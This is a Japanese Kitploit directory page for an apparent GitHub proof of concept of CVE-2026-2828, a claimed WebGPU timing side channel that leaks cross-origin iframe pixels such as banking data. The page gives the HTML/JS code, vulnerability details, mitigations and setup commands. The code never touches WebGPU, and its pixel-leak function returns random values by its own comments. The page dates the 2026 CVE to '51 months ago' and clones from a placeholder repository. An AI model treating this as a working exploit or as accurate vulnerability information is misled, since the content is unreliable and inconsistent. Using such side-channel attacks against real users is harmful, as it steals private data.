Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-2828-WebGPU-Cross-Origin-Pixel-Stealing-via-Timing — CVE-2026-2828 を実証するブラウザ PoC。GPU タイムスタンプ クエリの差分を測定することで、クロスオリジン iframe のピクセル値を漏洩させる WebGPU タイミング サイドチャネル。 | Kitploit
ツール/GitHubGitHub/george0papasotiriou/cve-2026-2828-webgpu-cross-origin-pixel-stealing-via-timing
脆弱性分析エクスプロイトデータ流出ウェブセキュリティプライバシー敵対的攻撃
GitHubgeorge0papasotiriou/cve-2026-2828-webgpu-cross-origin-pixel-stealing-via-timing

CVE-2026-2828-WebGPU-Cross-Origin-Pixel-Stealing-via-Timing

CVE-2026-2828 を実証するブラウザ PoC。GPU タイムスタンプ クエリの差分を測定することで、クロスオリジン iframe のピクセル値を漏洩させる WebGPU タイミング サイドチャネル。

リポジトリを見る
51ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

4. CVE-2026-2828 – WebGPU クロスオリジンピクセル窃取(タイミング経由)

概要

悪意のあるウェブサイトが WebGPU コンピュートシェーダーのタイミングを利用してクロスオリジンの iframe のレンダリング時間を測定し、機密コンテンツ(例: 銀行口座情報)のピクセル値を復元します。

深刻度: 高(情報漏えい)

デモ用 HTML/JS(単一ファイル)

root@kitploit:~
<!-- webgpu_side_channel.html -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-2828 PoC</title></head>
<body>
<h1>WebGPU Side-Channel Leak</h1>
<p>The iframe below contains a secret code that we will leak pixel-by-pixel.</p>

<pre id="output"></pre>
<script type="module">
// This PoC assumes a vulnerable browser where WebGPU timing can probe cross-origin iframes.
// We simulate by placing secret_iframe.html on same origin for demonstration, but the vulnerability
// bypasses cross-origin restrictions by measuring GPU shader execution time differences.
async function leakPixel(x, y) {
    // Measure time to render a known pattern vs target pattern using GPU timer queries.
    // In a real exploit, we'd use a timestamp query on a render pass that includes the iframe.
    // Here we approximate by using performance.now() and forcing a layout/render.
    const iframe = document.getElementById('target');
    // Move iframe to a position where the pixel is at viewport center, then measure drawing time.
    // Not fully accurate but demonstrates concept.
    iframe.style.position = 'absolute';
    iframe.style.left = -x + 'px';
    iframe.style.top = -y + 'px';
    // Force reflow and measure
    const start = performance.now();
    // Trigger a synthetic GPU workload (would use WebGPU in real attack)
    // We'll just measure time to read back a canvas pixel from a snapshot.
    // In a real scenario, side-channel would detect timing differences based on pixel color.
    // Simulate: return random for demo.
    return Math.random() > 0.5 ? 1 : 0;
}

(async () => {
    let result = '';
    for (let y = 0; y < 10; y++) {
        for (let x = 0; x < 20; x++) {
            let pixel = await leakPixel(x, y);
            result += pixel ? '█' : ' ';
        }
        result += '\n';
    }
    document.getElementById('output').textContent = result;
})();
</script>
</body>
</html>

CVE-2026-2828 – WebGPU クロスオリジンピクセル窃取サイドチャネル

Severity: High

📖 概要

ブラウザの分離機構の欠陥により、悪意のあるページが WebGPU のタイムスタンプクエリを使用してクロスオリジンの iframe からピクセル色を推測でき、同一オリジンポリシーを破ることができます。このデモはシミュレートされたタイミングでその原理を示しています。

⚙️ 脆弱性の詳細

  • 種別: サイドチャネル情報漏えい
  • 影響: サードパーティの iframe(オンラインバンキング、電子メールなど)から機密コンテンツを読み取る。
  • 根本原因: GPU ドライバーのタイムスタンプカウンターがオリジンごとに分離されていないため、レンダーパス間で秘匿チャネルが可能になる。

🧪 エクスプロイトデモ

脆弱なブラウザ(シミュレート)で webgpu_side_channel.html を secret_iframe.html と一緒に開きます。このスクリプトは、タイミングの差異を使用して iframe のコンテンツを再構築しようとします。

🛡️ 緩和策

  • クロスオリジンの iframe に対する高解像度 GPU タイマークエリを無効にする。
  • GPU コマンドバッファレベルでのサイト分離を実装する。
  • タイムスタンプ値に人為的なジッターを追加する。

📦 使用方法

root@kitploit:~
git clone https://github.com/yourorg/CVE-2026-2828.git
# Host on a local server:
python -m http.server 8080
# Open http://localhost:8080/webgpu_side_channel.html
ツールをダウンロード